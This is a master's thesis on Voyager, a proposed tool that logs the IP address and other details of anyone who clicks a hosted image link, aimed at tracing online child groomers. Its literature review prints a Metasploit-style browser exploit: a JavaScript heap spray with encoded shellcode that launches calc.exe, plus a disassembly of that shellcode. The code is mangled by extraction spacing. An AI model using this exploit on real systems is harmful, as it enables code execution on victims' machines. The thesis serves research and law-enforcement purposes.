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Abstract

Cyberpedophilia and the crimes associated with it are a global challenge. The

behavior of individuals in a virtual environment is a cause for public concern. Public chat

rooms and social media are common ways for individuals with similar sexual preferences to

meet and to groom victims. Research of behavioral patterns identified by law enforcement

agencies shows an extensive use of graphic images over the chat domains. This thesis rec-

ognizes the exchange of graphic media over the chat room domain as a potential loophole

which can help to determine the location of a cyber pedophile through the use of graphic

images and server side network monitoring tools.

The purpose of this research is to develop a preventive network forensics software

tool for digital forensic examiners. Our tool, code-named Voyager, works as follows: An

examiner uploads an image and a URL for that image is generated. Our system then

records information about the remote machine that clicks on the URL of the image. This

research also provides a solution to avoid the large data collection and perform live network

sniffing with parsing the network packets in real-time and generating the user-defined specific

output to MYSQL database.
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1 Introduction

||Shree||

The Internet has become ubiquitous in our daily lives. Because of the increase in

information technology all around us, it is expected that any software or system can be and

will be hacked, and that the damage will be ever-increasing. In a banking context, a cyber

crime (hacking) has greater consequences than an in-person bank robbery, simply because

the hacker manipulates a bank’s large networks and databases to harm a vast number of

people and institutions. Even if only one bank is affected by a cyber crime, the scale of

these crimes introduces a level of alarm. This has caused many to give forethought to new

paradigms in strong protection and pre-emptive network security.

It stands to reason that cyber crimes, whether perpetrated against institutions

or individuals, cause an exponential increase in damage done. In the same way as the hack-

ing of a bank, electronic modalities magnify crimes against individuals as well. For example,

in the case of a pedophile looking for victims to groom, the Internet provides access to an

ever-increasing number of available minors who might become victims.

The ubiquity of the Internet gives a sex offender not only substantially increased access

to victims; it also links sexual preference components to them, thus making it easy to form

networks of pedophiles with similar interests. Based on relevant research, this thesis pro-

poses a solution which can be valuable in fixing the possible location coordinates of a single

pedophilia-related activity, as well as creating a larger data set for data analysis which may

be used to expand the scope of any digital forensic investigation related to the online sexual

exploitation of children.

Chapter 2 explains Cyberpedophilia (CP) in depth and describes its practice

in cyberspace. Distinctive communication styles of a pedophile using electronic media have

been identified, and these distinctive patterns may be tracked. Also included is a brief in-

troduction to the work of various Federal and local law enforcement agencies in the United

1 INTRODUCTION 7
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States and around the globe which are fighting CP. Methods of advanced mathematical

and computational research to combat CP are also described. Unconventional methods

used by individuals for exposing the pedophiles have also been introduced in this chapter.

Based on all of the research done, this thesis then proposes a possible solution to combat CP.

Chapter 3 gives the background theoretical knowledge needed to understand the

functionality of the solution proposed by this thesis. It includes an introduction of Amazon

AWS EC2 AMI including the LAMP framework, TCP/IP suite, and OSI network model. A

brief explanation of a TCP/IP packet has also been provided, along with a thorough study

and reference to technologies used for the realization of the proof of concept which has been

conducted.

Chapter 4 demonstrates the implementation of the solution provided by this

thesis, based on the proof of concept mentioned in Chapter 2. This chapter explains in

detail each and every module of the application through screen shots and flowcharts.

Chapter 5 gives the sample code used for the application explained in Chapter

4, followed by Chapter 6 which discusses the results and observations derived from the ex-

ecution of the application.

Chapter 7 discusses digital forensics and various aspects of live network packet

captures. Also this chapter involves a discussion regarding the legal limitations surrounding

the development of the application and ethical future use for the application.

Chapter 8 considers future prospects in the context of CP as this solution is

developed and used.

-

1 INTRODUCTION 8
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2 Literature Review

2.1 Background

Definitions

Pedophiliais a sexual-preference disorder characterized by a sexual interest in

prepubescent and pubescent children. The sexual abuse of children and teens via the In-

ternet is an international challenge: these crimes are often without geographical boundaries

(1). Although viewing and downloading provocative images of prepubescent or pubescent

children is neither a necessary nor sufficient reason to label an individual a pedophile, it

is certainly an indicator of the likelihood of a pedophilia-related crime being committed

(1)(4). However, preventive measures cannot be initiated until the research gives more con-

clusive studies about what determines a pedophile’s likelihood of committing a crime (5)(6).

Research suggests there is a distinct pattern in the way pedophiles target, ini-

tiate conversations, and exploit their victims (6). This thesis recognizes and focus on one

important pattern known as Grooming.

Grooming is the process by which a pedophile finds and builds relationship

with children for the purpose of exploiting them sexually. This is often done by using Inter-

net public chat rooms. Online chat rooms have become one of the most efficient methods

to communicate with strangers and to build networks for various purposes (7). In these

networked chat rooms, a group of pedophiles and potential pedophiles with similar interests

may establish a conversation with a victim and then escalate the conversation towards a

physical meeting (6). Effective methods for quickly analyzing the content, evolution, present

state and threat level of these chat conversations have not yet been created; therefore in

many cases, law enforcement professionals have little conclusive information with which to

work.

According to a study conducted by Ghazali, Alisiri and Jaalli in 2014 (7), public

2 LITERATURE REVIEW 9
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chat rooms have become a proactive medium for sexual exploitation. The figure 1 displays

the progress of grooming related to wider sexual exploitation. As the figure depicts, public

chat rooms can be dangerous for children or young teenagers with little understanding of

the dangers of the Internet (6). We can see the path progress from grooming (7) to criminal

activities and further to child pornography. Furthermore, the lack of Internet restrictions

makes child pornography more readily available in the United States than it has ever been

(8).

Figure 1: Effects of sexual conversations in public chat rooms (7)

As mentioned earlier, there are no conclusive studies describing symptoms or

acts of grooming. Hence, grooming does not apply to all the adult individuals who engage in

conversation and interact with children and people younger than themselves (6). Still, the

pattern followed in most grooming can be traced over time through conversations and case

histories of acts of CP (17). Research done on young adults aged 17 to 18 (9) suggested that,

2 LITERATURE REVIEW 10
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of every individual included in the study, 100 % confirmed active involvement in public chat

rooms (1). One third of the subjects admitted to having met a stranger and conversed with

that person in public chat. 9 % confirmed an attempted sexual misconduct (1,9). This study

points to the need for a safeguarding strategy for children and teens who have fresh access

to the Internet (10). In the case of grooming, the Internet serves as a mediating technology

mainly for person-to-person (P2P) communication, but also person-to-group (P2G) and

group-to-person (G2P) communications (1, 9,17).

Given the scope of the problem, however, many law enforcement agencies have used research

and statistics of the case histories to help summarize the pattern of CP grooming into

the certain acts committed by a pedophile (31). According to the Mumbai Cyber Cell of

Mumbai police (world renowned for anti-terrorist and cyber intelligence investigation) here

are identifiable methods commonly used by pedophiles to communicate with their targets

(32):

• Pedophiles use various chat rooms and forums to interact with teenagers and children

who have a very fresh access to the Internet.

• Pedophiles attempt to win the confidence of the victim through the social engineering

techniques to extract contact details such as a potential victims’ personal mailing

addresses or email addresses.

• The pedophile then begins sending pornographic content in order to convince the

potential victim that this process is accepted as "normal."

• The pedophile may then take further steps into physical sexual exploitation of the

victim.

These realities call for a method by which pedophiles are not only exposed, but also convicted

through sound evidence gathered by law enforcement.

2 LITERATURE REVIEW 11
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2.2 Organizations Fighting Crimes of Cyberpedophilia

As mentioned in Section 2.1, pedophiles’ use of cyberspace is an international chal-

lenge. Many organizations and individuals throughout the world have come alongside law

enforcement agencies to counter pedophiles’ activities.

In 1995, the Federal Bureau of Investigation (FBI) classified the problem of exploita-

tion of children. The Bureau set up a dedicated department to combat crimes committed

by pedophiles against children. This initiative was known as the "Innocent Images National

Initiative"(IINI) under the umbrella of the FBI’s Cyber Cell Division. According to the for-

mer Assistant Director of the FBI’s Cyber Cell Division, their mission was "The disruption

and dismantling of online groups, organizations, and for-profit organizations which seek to

exploit children" (31). Along with the United States, dozens of countries combined efforts

to fight CP, including India, UK, Australia, Belarus, Canada, the Philippines and Thailand.

Operation Broken Heart(OBH) is another effort of law enforcement involved in stopping

the spread of CP. With the help of the OBH initiative, the Los Angeles County Sheriff’s

Department has arrested several hundred suspects. Dozens of other local, state and fed-

eral law enforcement agencies worked in concert to make these arrests. The Los Angeles

Regional Internet Crime Against Children Task Force is the umbrella agency which

coordinated those efforts. OBH has helped to stop sex offenders, parolees and probation-

ers allegedly violating their terms, child sex traffickers, pimps, child porn traders and sex

tourists—both those traveling abroad and those viewing on the Internet.

In a technique reminiscent of the infamous show "To Catch a Predator," investigators

from the Los Angeles Regional Internet Crimes Against Children Task Force

posed as 12- to 14-year-olds online. Their efforts led to the arrests of many individuals who

showed up to engage in sex acts with children. More than 275 predators were captured.

One of the well known non-profit organizations responsible for convictions of pedophiles

2 LITERATURE REVIEW 12
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is Perverted Justice, a legal non-profit based in California (34). They actively search

for pedophiles on the Internet. Their methodology is called a "honey trap." It involves an

unaware pedophile in chat with a team member of the Perverted Justice organization who is

posing as a child or teen. Any person who tries to make an appointment for further contact

is given directions to a "bust house" where the police wait.

The figure 2 shows an excerpt of an original chat file. In the second line the nickname "Blue

Bonnet" belongs to the Perverted Justice member who busted the suspect by acting in the

chat under the name of "rubyslipper013" while the suspect uses the name "mesadash8pilot"

(6). As might be expected, there is explicit and offensive language in the excerpt.

Figure 2: Chat excerpt from Perverted Justice[Warning:Strong and offensive language],
Reference (6, 34)

The person referred to as "mesadash8pilot" decided to make a trip to the bust

house in Utah. There, he was arrested, prosecuted by the federal government and sentenced

to 46 months in federal prison, followed by 60 months of supervised release under the usual

sex offender restrictions (34).

A significant global meeting organized by the Internet Governance Forum

(IGF), a United Nations agency which met in Kenya in 2011 emphasized the need for a

global effort to combat CP (35). Below are excerpts from some of the speeches:

2 LITERATURE REVIEW 13
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• Ms. Neelie Kroes Vice-President of the European Commission, Commissioner

for the Digital Agenda:

"There are several key actions to be done . . . . we need to ensure that online safety

of children and, of course young people in general, through the Safer Internet Program

that is run by my director general is making sense and it is coming over. Facebook uses

photoDNA developed by Microsoft and used by NCMEC in the USA to flag child abuse

images to identify when someone uploads known child abuse images onto the network

and is taken down immediately. If they are notified of content that is illegal in nature

not intercepted by photoDNA, then such materials are taken down in consultation with

relevant law enforcement agencies" (35).

• Ms. Maud de Boer-Buquicchio, Deputy Secretary General, Council of Europe:

"When the IGF was first established, it represented a revolutionary departure from

traditional multilateral conferences by co-opting industry and civil society as partners

in dialogue. The Council of Europe believes in the IGF process. Multistakeholder

dialogue about how we govern the Internet is the best way to initiate, to discuss, and

to agree on the Internet’s development and evolution. The next step for us in the

IGF and its regional emanations such as EuroDIG is to move from multistakeholder

dialogue to multistakeholder delivery. The tangible results are waiting to be seized.

The Council of Europe is already delivering to the 800 million Europeans it represents.

Issues such as data protection, cybercrime, medi-crime and the protection of children

from pedopornography and grooming through the Internet are addressed in far-reaching

international conventions" (35).

2.3 Available Research on CP

There is much research available on different aspects of CP; some research has been

conducted using the help of sophisticated computing methods. As mentioned in Subsection

2.1, pedophiles are heavily involved in public chat rooms. Sting operations conducted by

organizations like Perverted Justice (34) have lead to the collection of data related to public

2 LITERATURE REVIEW 14
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chat rooms. After the evolution of Google™search, there was a surge in search query analysis

which helped the researchers to recognize the search queries and keywords related to CP

activity. Below is a brief explanation of one such piece of research:

• Mining bipartite graphs to improve semantic pedophile activity detection:

Peer-to-peer (P2P) networks are popular to exchange large volumes of data through

the Internet (36). As per the research, social network analysis in a large data-set from

a P2P network to improve a state-of-the-art filter for pedophile queries. A data-set

containing queries is considered for the research and thus combinations of words which

can be used for analysis are obtained.

The data for the research used are keyword-based queries submitted to the eDonkey

search engine by the users of the network and collected over a 10-week period in 2007.

Figure 3: Keyword filter used in (36) to categorize pedophiles, based on search query (37)

The diagram categorizes from left to right four categories of pedophiles based on the

query search. Using a bipartite graph, the researchers were able to obtain more or

less similar results as in (37). Out of 12,858 queries searched, 35 percent were not

detected pedophiles. This research gave inconclusive results for detecting pedophiles,

with a future hope of better analysis on the data provided by them.

• Identifying Google Talk Packets (38)

2 LITERATURE REVIEW 15
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Instant messages (IMs) are one of the earliest forms of online social networking,

and they remain a popular communication method to this date. However, similar

to other sophisticated social networks, online chatting potentially faces the problem

of being utilized by pedophiles, which may lead to a dangerous crime. By using

Wireshark (or Ethereal),powerful network analysis tools, this research describes in

detail the pattern of each type of online chat message, and presents the corresponding

process of identifying the messages. Research concludes that unencrypted Google Talk

chat messages can be easily identified. This was one of the primary papers used for

the realization strategy of the solution proposed in this thesis.

Google™used Jabbar protocol now known as Extensible Messaging and Pres-

ence Protocol (XMPP). It facilitates exchange of extensible data in real time between

any two or more network devices. The researchers were able to use the Google talk run

over HTTP unsecured layer, which Google™has now discontinued as a part of basic

security. This was a loophole in the design of Gtalk which the researchers identified

and exploited.

Below is the excerpt of semi encrypted Google talk packet over HTTP:

Figure 4: Google talk Packet captured over HTTP using Wireshark (38)

A brief description of contents of the packet:

– 241: 241 is the incremented number as each data set received from or sent to

Google to interpret for Google Talk is given a unique number that is larger than

the previous set.

– "e": Indicates that the packet is sent to Google, and contains the chat message.
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– "friend b@gmail.com/gmail.4B52A994" or in general "(email)/gmail.

(some alphanumeric sequence)": This would tell Google which Google account,

indicated by the "email," to which to send the chat. The alphanumeric sequence

could be used to distinguish multiple chat windows between the same or different

Google accounts.

– "CFE32FBA96F713BF 8" "||" "(some alphanumeric sequence) (incremented num-

ber)": The target computer’s Session ID and an incremented number. Re-

searchers were monitoring packets at their machine with Wireshark installed on

it., hence the SID belongs to the Google account on the machine with Wire shark

installed on it.

– "who is we?" "||" (text)" repeated two times: The text of the chat message in

another format. Some characters, like ")" become converted into a character

encoding.

– "1225395344092" "||" "(time)": There is uncertainty attached to this field, but

researchers believe that it is some sort of date/time format, as it is very similar

to the SMTP id in Google™emails.

This research using Wireshark sniffed the unencrypted HTTP traffic and extracted the

Google™talk traffic pattern. This method allowed them to identify the packets and hence

decode the message sent over the network. This research concludes with a possibility of

leaving digital signatures by injecting false packets over the network. This would help

digital forensic analysts to get a trace of the data required in cases of CP activity. This

research also serves as a basis for the solution provided in this thesis.

2.4 Unconventional Attempts to Expose CP

The two research efforts cited above are conventional efforts to expose CP. The

results are helpful for upgrading or correcting the existing system in the computing domain.

However, not every attempt made has been research-based. Some attempts have been made
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by individuals, which were unconventional as well as illegal. There was a substantial use of

an open-source framework for networks infrastructure penetration testing, Metasploit which

yielded desired results, but violated the Computer Fraud and Abuse Act (CFAA), which

was enacted by Congress in 1986 as an amendment to existing computer fraud law, the 18

U.S. Code § 1030—Fraud and Related Activity in Connection with Computers (39).

• The Metasploit Project: One of the most important aspects of understanding this

section is understanding The Metasploit Project. It also highlights the importance of

the solution provided by this thesis.

• Project Metasploit is an open source developed by HD Moore in 2003, completely

scripted in Pearl and now fully rewritten in Ruby. It is a Penetration Testing Frame-

work, which is used to find the vulnerability in a network infrastructure. (40).

• the project is now used widely by "Black Hat" (Bad Guys),"White Hat" (Good Guys)

and by "Grey Hat" (Still Deciding) hack experts for their respective purposes.

• The framework provides a database of exploits for system-based hacking. There are

more than 2000 exploits currently in the database, classified by their build such as:

AIX, android, bsd, bsdi, cisco, firefox, freebsd, hpux, irix, java, javascript, linux,

mainframe, multi (applicable to multiple platforms), netbsd, netware, nodejs, openbsd,

osx, php, python, R, ruby, solaris, unix, and windows.

• The Database consists of over 450 Payloads which are ready to deploy depending

upon target system. There are many third party exploits which are available using

the Metasploit framework.

• Law enforcement agencies like the FBI have been using this for their Cyber law en-

forcement cell (43).
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Figure 5: A typical Metasploit interface,(48)

With an intention of exposing pedophiles, Moore developed an extension to Project

Metasploit which was called a Metasploit decloaking project. Moore’s intention was

to run an executable javascript code and bypass the VPN (Virtual private network ex:

Project TOR). The executable javascript was able to gain the internal IP address and

MAC address of the target machine used by the CPs. A similar Javascript executable

is displayed below which, when executed correctly, opens the calculator in the target

windows machine.

1 <html>

2 <div id= replace >x</div>

3 <sc r i p t >

4 // windows/ exec − 148 bytes

5 // http ://www. metasp lo i t . com

6 // Encoder : x86/ shikata_ga_nai

7 // EXITFUNC=process , CMD=ca l c . exe

8 var s h e l l c o d e = unescape ( %uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%

u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5c f f%u98bb%ud7 f f%

ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%

u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%

ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%

u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%

ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%
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u9631% u 5 5 8 0 ) ;

9

10 // ugly heap spray , the d0nkey way !

11 // works most o f the time

12 var spray = unescape ( %u0a0a% u 0 a 0 a ) ;

13

14 do {

15 spray += spray ;

16 } whi l e ( spray . l ength < 0xd0000 ) ;

17

18 memory = new Array ( ) ;

19

20 f o r ( i = 0 ; i < 100 ; i++)

21 memory [ i ] = spray + sh e l l c o d e ;

22

23 xmlcode = <XML ID=I><X><C><![CDATA[<image SRC=http ://&#x0a0a

;&#x0a0a ; . example . com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C

DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C

DATAFORMATAS=HTML></SPAN></SPAN> ;

24

25 tag = document . getElementById ( replace ) ;

26 tag . innerHTML = xmlcode ;

27

28 </sc r i p t >

29 </html>

30

31

The code exploits the machine through running the X86 assembly level code. A sample

assembly level code is displayed below.

1 00000000 C9 l eave

2 00000001 2B1F sub ebx , [ ed i ]

3 00000003 B10C mov c l , 0 xc

4 00000005 BDC536DB9B mov ebp , 0 x9bdb36c5

5 0000000A D9C5 f l d s t5

6 0000000C 2474 and al , 0 x74
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7 0000000E 5A pop edx

8 0000000F F4 h l t

9 00000010 EA8331FC0B6A6A jmp 0x6a6a : 0 xbfc3183

10 00000017 03D4 add edx , esp

11 00000019 07 pop es

12 0000001A 67305CFF xor [ s i −0x1 ] , b l

13 0000001E 98 cwde

14 0000001F BBD7FFA4FE mov ebx , 0 x f e a 4 f f d 7

15 00000024 9B wait

16 00000025 74AD j z 0 x f f f f f f d 4

17 00000027 058B8B028D add eax , 0 x8d028b8b

18 0000002C D893BCCD35A2 fcom dword [ ebx+0xa235cdbc ]

19 00000032 37 aaa

20 00000033 B84290A63A mov eax , 0 x3aa69042

21 00000038 94 xchg eax , esp

22 00000039 E99AA4D58D jmp 0x8dd5a4d8

23 0000003E E5A3 in eax , 0 xa3

24 00000040 1F pop ds

25 00000041 4C dec esp

26 00000042 EB46 jmp shor t 0x8a

27 00000044 4B dec ebx

28 00000045 8CD0 mov eax , s s

29 00000047 AD lodsd

30 00000048 A844 t e s t al , 0 x44

31 0000004A 52 push edx

32 0000004B 4A dec edx

33 0000004C 3B81B80DD748 cmp eax , [ ecx+0x48d70db8 ]

34 00000052 4B dec ebx

35 00000053 D46C aam 0x6c

36 00000055 46 inc e s i

37 00000056 1392734A204F adc edx , [ edx+0x4f204a73 ]

38 0000005C F8 c l c

39 0000005D 6E outsb

40 0000005E DC8EA20726B4 fmul qword [ e s i+0xb42607a2 ]

41 00000064 04D4 add al , 0 xd4

42 00000066 D084ECBA978221 r o l byte [ esp+ebp∗8+0x218297ba ] , 1
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43 0000006D 7CE8 j l 0x57

44 0000006F C0CA8C ror dl , 0 x8c

45 00000072 F4 h l t

46 00000073 A6 cmpsb

47 00000074 47 inc ed i

48 00000075 210D2EA0B0CD and [ 0 xcdb0a02e ] , ecx

49 0000007B 2CA8 sub al , 0 xa8

50 0000007D B05B mov al , 0 x5b

51 0000007F 43 inc ebx

52 00000080 F4 h l t

53 00000081 24E8 and al , 0 xe8

54 00000083 7A9C jpe 0x21

55 00000085 BB857DCBA0 mov ebx , 0 xa0cb7d85

56 0000008A 7DED j n l 0x79

57 0000008C 92 xchg eax , edx

58 0000008D 09E1 or ecx , esp

59 0000008F 96 xchg eax , e s i

60 00000090 315580 xor [ ebp−0x80 ] , edx

This assembly level code uses standard logic gates such as XOR, AND for registered

memory transfer operations and can be used with the Metasploit console (MSF). The

system decloaking system on which Moore was working was successful and he was

able to exploit the target machine and obtain an internal IP address, but it disappears

from the mainstream media and has no reference for research. Meanwhile, the FBI

created "Operation Torpedo." This operation used "drive-by download" (infiltrating a

high-traffic website and then subverting it to deliver malware to every single visitor).

It is one of the most powerful tools in the Black Hat arsenal, capable of delivering

thousands of fresh victims into a hacker’s clutches within minutes (43, 44, 45).

• "Sweetie": A honey trap created in 2013 by des Hommes in The Netherlands named

"The Sweetie Project" had the dual intention of both drawing attention to the online

sexual exploitation of children while demonstrating that the identification of potential

child abusers is relatively simple. By using computer-animation technology, a vir-

tual 10-year old Philippine girl ("Sweetie") was created, which allowed researchers to

2 LITERATURE REVIEW 22



Voyager: Identifying IPs from Online Clicks Author: Dhruv Pandya

identify one thousand potential pedophiles from no less than 71 countries within ten

weeks. According to the FBI, "Sweetie" was introduced in 19 chat rooms. Around

the globe there are approximately 40,000 internet chat rooms, where at any given mo-

ment, 750,000 people are looking for child porn. Although this project had violated a

privacy intrusion clause, it did act as an alarm to the world to spread awareness about

CP.

Though there are many exploits and unconventional methods in the real world, they

somehow trip over legal consequences or privacy intrusion clauses. Hence this problem

requires some proof of concept that can attempt to reveal the identity of CP users

without violating the law.

2.5 Proposed Solution

The solution provided in this thesis is a preventive network forensics analysis tool,

which collects a remote machine’s network data and geo location, when a URL of a image

hosted on the server is clicked. Aiming to make a robust tool, efforts are dedicated in

keeping the infrastructure used for the development and execution of the tool at minimum

deployment. There is a proverb which says, “A picture is worth a thousand words." A visual

image provides detail more efficiently than words can do. Many human beings think in

visual terms. In context, all the existing methods and research conducted to combat CP

lead to these two important aspects:

• Importance of Public Chat Rooms.

• Use of graphic images for expression of sexual preference and initiation of sexual

conversation with the potential victim.

The chat perpetrators exposed by Perverted Justice (34) in the above section were

exposed while using Yahoo Messenger chat rooms. The solution this thesis proposes is based

on the realization of a proof of concept which uses a graphic image (commonly used symbols

by pedophiles to express their sexual preferences)(18) in the public internet chat room. It is

preferred that the image name should be hashed,owing to the digital forensic research. The
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link to the image is used as deemed by the end user to established a connection to the server

housed on an Amazon AWS EC2, in an instance explained in section 3.2. In the background,

the network packet capture and analysis runs on the server, which monitors and records all

the network packets with an HTTP request on the AWS server of the requested hashed

image file. The details of the URL request will then be transferred to a MySQL database.

This information contains the IP address and MAC address of the machine that clicked the

IP, along with the server time stamp. The IP address will refer to the Public IP which

reveals the ISP (Internet Service Protocol) details. This helps to obtain valuable data for

future data analysis and digital forensics (20), while maintaining a fine line of boundary in

terms of legal applications of the same (39).

2.6 Conclusion

This Chapter refers to studies on CPs and their patterns of interaction. Various

media used by pedophiles are also described. Also described are a variety of research efforts

related to the recognizing of pedophiles on the cyber domain through advanced computing

methods and algorithms. There is also a brief study of the non-profit organizations fighting

CP, which makes a user base for the current solutions and data for the research performed.

This chapter also covers the initiatives kick-started by various government organizations

and individuals working towards combating CP. This chapter also summarizes some un-

conventional methods used by individuals contributing to the battle against CP, as well as

some legal objections to those efforts. Based on the research included in the above sections,

this thesis proposes a solution to the problem of CP. The next chapter will describe, and

theoretically explain, the important concepts necessary to understand the solution provided

by the thesis.
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3 Background

3.1 Introduction

This chapter briefly discusses the theoretical and practical aspects of the technolo-

gies used for creation of the solution proposed in chapter 2 which is named Project Voyager.

We also approach and explain the Networking Layers (OSI and TCP/IP) and network-

ing protocols crucial for understanding the working of the network traffic sniffing module.

Starting with server OS Amazon web services Linux Amazon machine images(AMI), Voy-

ager then uses "Image upload module" technologies PHP and MySQL. Finally, the basics are

described related to the "Network traffic sniffing module," layers, protocol, and TCPdump.

3.2 Amazon Web Services EC2 Linux AMI Instance

The modus operandi server environment for development was Amazon web services

Elastic cloud (EC2) (21). We use Amazon’s Linux AMI as an instance on the cloud. One of

the main hurdles for software developers with innovative ideas (21)(22) is a variety of capi-

tal investments for deployment and maintenance of the software without human assistance

(22). Also to be considered is a security and scalability issue attached to the hosting facility.

Hence Amazon EC2 provides us with state-of-the-art scalaibilty solutions with launching

different VM(s) on the clouds called "instances" (21), which use Linux AMI. Cloud secu-

rity is maintained by top-tier Amazon security group services at each EC2 instance. The

pre-configured instances known as Amazon machine images AMI (21) were our first choice,

since it comes as pre-installed packages and software ready for a developer to start working.

The conceptual diagram on our instance is similar to the figure 6. The diagram depicts a

3-tier architecture: Tier-1 is responsible for the hosting of the applications on the server

and communicating with the hosts (23). It receives HTTP requests from the client and

passes it on to tier-2, application servers which will compute and communicate through the

first tier. There is a very interesting concept called ELB (Elastic Load Balancers), which

are responsible for distributing the incoming traffic workload. ELBs can dynamically add

and remove hosts to the load-balancing groups of the instance. For this project, the third
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relational database tier (which is used for huge data) is not invoked.

Figure 6: Conceptual diagram of Amazon EC2 AMI,Reference :(23)

3.3 LAMP (Linux, Apache, MySQL, PHP)

One of the main aspects of using the Linux Environment for the development of

Voyager is its operation under the radar, but not necessarily a stealth mode (24). It is an

open-source operating system and yet is very effective. An important consideration was to

create a user-friendly application image upload so that the GUI (Graphical User Interface)

3 BACKGROUND 26



Voyager: Identifying IPs from Online Clicks Author: Dhruv Pandya

would not require any prior technical knowledge to operate, and yet be very effective in terms

of security and operations. Using the LAMP framework (an acronym for Linux, Apache,

MySQL and PHP) (24), was a natural choice when considering the importance and benefits

of using an open source Linux framework which was not only effective but also robust.

3.3.1 PHP5

The Web interface uses PHP as the main scripting language. PHP stands for

Hypertext Pre Processor (26). In short, PHP is a general-purpose server side-scripting

language which has a variety of applications, but is mainly used in web development because

it can be embedded into static web designs like HTML (26). The benefit of PHP is that it is

always executed on the server-side; hence, the client only receives the HTML, which makes

it more secure. In the project, the developer used hash functions, date time, mail function

and most important, file management functions. A sample PHP code looks like this:

1 <?php echo ("Thank you ") ; ?>

3.3.2 Using MySQL

An important part of the entire project is a database which will aid the future ana-

lytic and forensic teams as a "bible" or primary reference. Using MySQL was a clear choice

after considering PHP as a development language for the image upload, because the MySQL

is highly scale-able and provides round-the-clock, 24/7 up-time. Another major reason is no

cost of ownership of the database, along with the high scalability. Using PHP and MySQL

combined greatly boosts the efficiency of the application (25). There is no denying that

world leaders in technology like Google, Adobe, and Alcatel Lucent depend at some point

on MySQL, since they have huge data capacity; for reliability and cost-effectiveness, MySQL

proves to be best. It is a very light database, guaranteeing and insuring high availability,

and it certainly serves the project’s purpose for cost effectiveness.
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3.4 Network Protocols

• Data Networks: A setup in which there is an exchange of data over a shared medium

amongst communication devices.

Project Voyager’s backbone is the network packets, and the project’s research and conclu-

sions depend solely upon the way we parse the network packets we capture. It is very crucial

to understand different network protocols and the TCP/IP model of communication, as that

is what is mainly used to dissect a captured network packet. Let’s begin with the theoretical

explanation of TCP segment.

3.4.1 The Internet Protocol Suite (TCP/IP)

Research has shown that the TCP/IP is very effective in facilitating better com-

munications every moment through timely and rapid exchange of information, which is

prioritized. Transmission Control Protocol/Internet Protocol (TCP/IP) is the defacto pro-

tocol suite for communication over data networks (28). Due to the design simplicity and

reliability of both, they dominate the communication channels (28).

The simplicity of the protocol communication is achieved by a phenomenon known as a

TCP "handshake." But it is a three-way handshake:

"SYN,SYN-ACK,ACK" (SYN:Synchronous and ACK: Acknowledge), a technique used by

TCP to set up TCP/IP connections over networks based on the IP Protocol. This mech-

anism is crucial, because before establishing a full connection and transferring data such

as SSH and HTTP browser requests, it will negotiate the network parameters of the TCP

socket connection. The figure 7 depicts a simple three-way handshake.

A network packet is a unit of data carried by a packet-switched network. In TCP/IP, the

TCP section of the packet is called a TCP segment and its IP counterpart is called the IP

header.
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Figure 7: A simple TCP three-way handshake,Reference :(54)

3.4.2 OSI Network Model

The backbone of computer networking is an open-system interconnection (OSI) architecture.

The OSI model consists of seven layers. A brief explanation of these layers follows (29):

• Physical Layer: The physical layer is responsible for transferring bits from Node A

equipment to Node B equipment (29). It is the only layer which maintains actual

electrical connection with peer nodes (29).

• Data-Link Layer: The main functionality of this layer is to arrange incoming and out-

going bits into frames, and to establish and release one or more link connections in

order to control the flow of data and most important, to accomplish error detection.

There is a notification send to the network layer when errors are detected (29). IEEE

802.3 (Ethernet) Media Access Control (MAC) and Logical Link Control (LLC) sub

layers are important standards used by the Data Link Layer.

• Network Layer: The network layer serves the purpose of organizing data frames with

added network information into packets. These packets are then routed to their desti-

nations through a network (29). The three most important network layer protocols are

IP, Internet Control Message Protocol (ICMP) and Internet Group Message Protocol

(IGMP).
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• Transport Layer: This layer serves as an organizer of data into data transport proto-

col units, to ensure that data transfer is complete and that it is in proper sequence

(29). It also provides a reliable host-to-host communication by masking the details

of communications from the lower layers (29). The protocols used at this layer are

Transport Control Protocol (TCP) and User Datagram Protocol (UDP).

• Session Layer: As the name suggests, this layer is responsible for session establishment,

maintenance and termination. A session is a group of multiple devices utilizing a single

application from multiple locations. Theoretically, it handles dialogue management

(29). Once the data is extracted from the transport layer, it is organized into session

protocol data units. The session is facilitated by services provided from the layers

below (29). Important examples of session layer would be NamePIPES and NetBIOS.

• Presentation Layer: The first five layers of the OSI model deal with the data transmis-

sion methodology, but the presentation layer (as the name suggests) functions for the

network user interface operations (29). The layer is responsible for the character code

translations (UNICODE, ASCII), conversions and encryption. Some functional exam-

ples are Socket Secure Layer (SSL), Transport Layer Security (TLS) and Multipurpose

Mail Extension (MIME), which is used in the email modules of the project.

• Application Layer: The highest layer of the OSI model, its functions are mostly con-

cerned with the operations related to applications such as resource sharing and Elec-

tronic mail (E-mail). Some of the more user-familiar protocols work here, such as the

Hyper Text Transfer Protocol (HTTP), Simple Mail Transfer Protocol (SMTP), and

Domain Name Service (DNS)(29).
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Figure 8: OSI Model Architecture, Reference (55)

3.4.3 TCP Segment

It is very important to understand the context of data transfer in order to monitor

network traffic through TCP ports and understand the TCP segment on which this project

is based. The US Department of Defense’s ARPA(Advanced Research Projects Agency

which is responsible for research and discoveries in computer networks and cyber security)

is responsible for Transmission Control Protocol under the standard RFC 793. The Stan-

dard RFC 793 pertaining to TCP was developed under the aegis of ARPA in September

1981, under the umbrella of open-system interconnection architecture also known as OSI

architecture, which comprises different functional layers (28). Figure 9 depicts a 32-bit TCP

segment header which consists of SYN-ACK numbers. It also clearly mentions the Source

port and Destination ports which can be understood through the references of the OSI model.
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Figure 9: A typical TCP Segment Header,Reference:(30)

3.4.4 IP datagram

IP datagram is a protocol used to communicate with two peers over the Internet.

Its main tasks involve forwarding the packets directly to the hosts by verification of the

Host’s network address. This protocol does reliable network communication by utilizing

TCP and UDP protocols.

Figure 10: IP Datagram(Packet), Reference (11)

As depicted in the figure 10, Version is the version of the IP frame (IPv4 in the context of

